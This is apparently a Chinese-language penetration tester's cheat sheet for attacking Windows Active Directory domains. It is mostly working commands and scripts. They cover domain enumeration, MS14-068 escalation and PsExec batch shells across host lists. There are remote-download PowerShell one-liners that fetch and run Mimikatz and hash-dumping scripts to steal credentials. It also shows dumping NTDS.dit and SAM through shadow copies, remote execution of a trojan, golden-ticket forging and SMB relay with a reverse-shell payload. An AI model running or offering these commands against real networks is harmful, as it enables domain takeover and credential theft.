TL;DR
- 域安全笔记域
- 域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。
- 域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。
- 一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。
- Active Directory = LDAP服务器+LDAP应用(Windows域控) 
 就是Active Directory先实现一个LDAP服务器,然后自己先用这个LDAP服务器实现了自己的一个具体应用(域控)。- 内网信息搜集以及常见域命令- 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76- ipconfig /all 查询本机IP段,所在域等 
 net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
 net user 本机用户列表
 net localhroup administrators 本机管理员[通常含有域用户]
 net user /domain 查询域用户
 net user 用户名 /domain 获取指定用户的账户信息
 net group /domain 查询域里面的工作组
 net group 组名 /domain 查询域中的某工作组
 net group "domain admins" /domain 查询域管理员列表
 net group "enterprise admins" /domain 获得企业管理员列表
 net group 组名 /del /domain 删除域中的某组
 net group 组名 组成员名 /del /domain 删除域中的某组的组成员
 net localgroup administrators /domain 登录本机的域管理员
 net group 组名 /add 增加域中的组
 net localgroup administrators workgroup\user001 /add 域用户添加到本机
 net group "domain controllers" /domain 查看域控制器(如果有多台)
 net time /domain 判断主域,主域服务器都做时间服务器
 net session 查看当前会话
 net use \\ip\ipc$ pawword /user:username@domain 建立IPC会话[空连接-***]
 net use z: \\192.168.200.21\文件夹名 建立映射到本机Z盘
 net share 查看SMB指向的路径[即共享]
 at \\192.168.200.2 0:00 c:\windows\muma.exe 在共享主机上执行
 net view 查询同一域内机器列表
 net view /domain 查询域列表
 net view /domain:M0RK 查看test域中计算机列表
 net view \\域控的机器名 查看域控共享情况
 nltest /domain_trusts 获取域信任信息
 net session 查看当前会话
 net start 查看当前运行的服务
 net time /domain 查询主域服务器的时间
 echo %logonserver% 查看登录认证的机器(即域控机器)
 net accounts 查看本地密码策略
 net accounts /domain 查看域密码策略
 query user 查看当前的登录信息
 netsh firewall show config 查看防火墙策略
 netsh firewall show state 查看防火墙策略
 route print 路由表
 tracert IP 路由跟踪
 arp -a 列出本网段内所有活跃的IP地址
 arp -s (ip + mac) 绑定mac和IP
 arp -d (iP + mac) 解绑IP和Mac
 tasklist /V 查看进程[显示对应用户]
 tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表
 tasklist /S IP地址 /U 域名\用户名 /P /V 查看远程计算机进程
 tasklist /svc 查看进程
 taskkill /im 进程名称(cmd.exe) 结束进程
 taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
 qprocess * 类似tasklist
 qprocess /SERVER:IP 远程查看计算机进程列表
 whoami /all 查询当前用户权限等
 set 查看系统环境变量
 systeminfo 查看系统信息
 qwinsta 查看登录情况
 fsutil fsinfo drives 查看所有盘符
 wmic bios 查看bios信息
 wmic qfe 查看补丁信息
 wmic qfe get hotfixid 查看补丁-Patch号,很实用
 wmic share get name,path 查看SMB指向路径
 net view /domain
 net config workstation
 net group "Domain Admins" /domain
 net time /domain
 ipconfig /all
 nslookup xxx
 dsquery server
 查看域控制器
 net group "Domain controllers"
 查询所有计算机名称(windows 2003)
 dsquery computer
 下面这条查询的时候,域控不会列出
 net group "Domain Computers" /domain
- 查找域控 
 1.dsquery server(或者net group “domain controllers” /domain命令)查找到主机名,然后ping一下主机名,得到的ip一般就是域控机器的ip地址了。
 2.使用nslookup命令 _ldap._tcp.dc._msdcs.domainname
 3.nltest /dclist:domainname 
 4.cobaltstrike的net dclist直接定位到dc
 或者使用powershell的powerview 获取域当前的信息
 5.adfind、ldifde、adexplorer等工具 
 …
- 常见脚本
 https://pentestlab.blog/2018/05/28/situational-awareness/搞定域控1.ms14-068 将普通域用户权限提升为域控权限
 https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068
 2.查看哪些主机上存在域管理员的活动会话,找到域管登陆过的机器,进而抓取域管的密码或者哈希。1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26## 批量返回shell 
 @echo off
 echo check ip addr config file…
 if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
 echo read and analysis file…
 for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p "PASSWORD" cmd
 :end
 ## 用指定的用户名和密码去遍历ip.txt中的IP列表,并打印任务列表,将结果输出到result.txt当中,执行完了上述批处理,我们只需要稍作等待,最后去查看result.txt当中是否含有域管理员用户名,即可确定哪些主机上存在域管理员的活动会话
 @echo off
 echo check ip addr config file…
 if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
 echo read and analysis file…
 for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p "PASSWORD" /v) >>d:\result.txt
 :end
 exit
PTH

哈希传递的工具可参考文章 域渗透——Pass The Hash的实现
PTT-silver ticket


- 注意这里机器的NTLM 是关键,域sid都是一样的  PTT-golden ticket
- 域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。 
- 获取krbtgt账号ntlm命令是Lsadump::dcsync  /user:krbtgt 抓密码或hash
- 通过powershell抓取某台机器的明文密码或者哈希 - 1 
 2
 3
 4- #抓明文 
 powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1′); Invoke-Mimikatz –DumpCerts
 #抓哈希
 powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1′);Get-PassHashes
- dump域数据库 - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38- vssadmin Create Shadow /for=C: 创建新的卷影副本 
 成功地创建了 'C:\' 的卷影副本
 卷影副本 ID: {ad7dfdec-a8db-4fa3-b2e6-7e1ab1bad2b4}
 卷影副本卷名: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3
 执行程序:
 \\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\test\psexec.exe
 1.需要先创建好目录,并放入木马或程序
 2.再创建新的卷影副本,利用卷影副本卷名来执行程序,并把卷影副本卷名中的 "?" 需要改为 "."号执行程序
 Copy Files
 有些系统运行中的文件是不可复制的,比如像SAM
 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit C:\
 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SAM C:\
 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\System32\config\SYSTEM C:\
 PowerShell调用方法:
 Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM"
 Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit"
 需要文件:
 https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy
 vssadmin Delete Shadows /shadow={ce51aaf6-5677-4423-86ac-45d064ef626e} /quiet 删除卷影副本
 vssadmin Delete Shadows /For=C:
 ---
 reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 查询NTDS路径
 获取域数据库
 Windows\NTDS\ntds.dit
 Windows\System32\config\SYSTEM
 Windows\System32\config\SAM
 NTDSDump导出域数据库hash值:
 NTDSDump.exe -f ntds.dit -s SYSTEM -h -t john -o save.txt
 或者:
 QuarksPwDump.exe
 QuarksPwDump --dump-hash-domain --with-history 导出本机域控历史hash值
域内信息搜集
windows中的Credential Manager的信息获取
- Credential Manager,中文翻译为凭据管理器,用来存储凭据(例如网站登录和主机远程连接的用户名密码)。
- 如果用户选择存储凭据,那么当用户再次使用对应的操作,系统会自动填入凭据,实现自动登录 
- 凭据类别包含两种,分别为Domain Credentials和Generic Credentials。
- 凭据读取 mimikatz和powershell脚本 
 更多可参考Windows中Credential Manager的信息获取横向渗透横向渗透信息搜集工具SMBSMB共享枚举
- 
1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12root@kali:/# smbmap -H [ip] -d [domain] -u [user] -p [password] 
 [+] Finding open SMB ports....
 [+] User SMB session establishd on [ip]...
 [+] IP: [ip]:445 Name: [ip]
 Disk Permissions
 ---- -----------
 ADMIN$ NO ACCESS
 C$ NO ACCESS
 IPC$ NO ACCESS
 NETLOGON READ ONLY
 Replication READ ONLY
 SYSVOL READ ONLY
- 使用nmap - 1 - nmap --script smb-enum-shares -p 139,445 [ip] 
查看SMB的漏洞
| 1 | nmap --script smb-vuln* -p 139,445 [ip] | 
trick4 smbrelay
python smbrelayx.py -h 172.24.243.59(被攻击的机器) -e smb_rev.exe
https://github.com/CoreSecurity/impacket/blob/master/examples/smbrelayx.py
再谈SMB中继攻击